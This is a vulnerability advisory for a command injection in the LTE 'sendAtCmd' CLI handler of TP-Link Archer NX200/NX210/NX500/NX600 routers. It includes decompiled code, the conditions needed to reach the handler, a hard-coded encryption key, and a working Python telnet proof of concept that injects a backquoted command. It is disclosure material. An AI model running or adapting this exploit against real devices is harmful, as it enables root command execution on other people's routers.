Skip to main content
HIGH8.5 CVE-2025-15519

Multiple TP-Link Routers: Post Authentication Command Injection in CLI sendAtCmd Handler

Improper input handling in a modem-management administrative CLI command on TP-Link Archer NX200, NX210, NX500 and NX600 allows crafted input to be executed as part of an operating system command. An authenticated attacker with administrative privileges may execute arbitrary commands on the operating system, impacting the confidentiality, integrity, and availability of the device.

The CLI command sys lte sendAtCmd <tag> <at-command> is served by the function at 0x41688C in /bin/cli. The handler copies the user-supplied AT-command argument into a buffer, formats it into a mobile_cli send_at_cmd %s string with snprintf, and runs the result through popen, without validating or escaping it. Shell metacharacters reach /bin/sh.

Technical Details

Sink

The handler at 0x41688C first checks that the LTE data-model object is present (an rdp_getObj query for DEV2_XTP_LTE). It then takes the command argument (argument 2, or arguments 2 onward joined by the helper at 0x416770 when more are supplied), formats it, and runs it with popen:

c
// argv[1] at +8, argv[2] at +16
if ( argc == 3 )
    snprintf(at, 0x100, "%s", argv[2]);          // single argument
else if ( argc > 3 )
    sub_416770(argc, 2, argv, at, 256);          // join argv[2..]
snprintf(cmd, 0x100, "mobile_cli send_at_cmd %s", at);
stream = popen(cmd, "r");                         // argv[2..] reach the shell

The argument is placed into the command line unmodified, so a value containing ;, |, or a backquoted command runs arbitrary commands under /bin/sh.

Reachability

The lte sub-dispatcher at 0x416F08 dispatches a command table based at 0x437BB0; the sendAtCmd entry (at 0x437E30) maps to 0x41688C. Reaching the handler requires:

  • An authenticated session (the login routine at 0x4058F0);
  • Device uptime within ten minutes: the gate at 0x40AB74 reads the uptime via 0x404AB0 (an rdp_getObj query for DEV2_DEV_INFO / UpTime) and proceeds only when it is at most 0x258 (600 seconds);
  • The arguments to sys supplied in AES-CBC encrypted form (driven through the routine named by the string aes_cbc_decrypt_intface_bypart);
  • An LTE-capable device, since the handler returns early when the DEV2_XTP_LTE object is absent;
  • three or more arguments to sys lte.

Proof of Concept

python
import base64
from Crypto.Cipher import DES
from Crypto.Util.Padding import pad, unpad
from pwn import *

def des_ecb_encrypt(key, plaintext):
    cipher = DES.new(key, DES.MODE_ECB)
    plaintext += ((8 - (len(plaintext) % 8)) * b"\x00")
    ciphertext = cipher.encrypt(plaintext)
    return ciphertext

key = bytes.fromhex("478de3f90ba5d2cf")

def get_arg(k, d):
    out = des_ecb_encrypt(k, d)
    return f"sys {base64.b64encode(out).decode()}".encode()

def exploit(rhost, pwd):
    io = remote(rhost, 23)
    io.sendlineafter(b":", pwd)

    cmd = f"lte sendAtCmd x `reboot`".encode()
    
    print(cmd)
    print(io.recvuntil(b"#").decode())
    io.sendline(get_arg(key, cmd))
    io.interactive()

admin_pwd = b""
exploit("192.168.1.1", admin_pwd)

Impact

A user with admin privileges who can issue commands on the authenticated CLI can execute arbitrary commands with the privileges of the CLI process, which runs as root.

Disclosure timeline

Oct 5, 2025
Discovered
Nov 13, 2025
Vendor notified

Submitted report to security@tp-link.com

Nov 20, 2025
Report acknowlegement
Dec 3, 2025
Vulnerability triaged
Jan 13, 2026
CVE reserved

Reserved CVE-2025-15519

Mar 23, 2026
Public disclosure

CVEs and advisory published

References

Share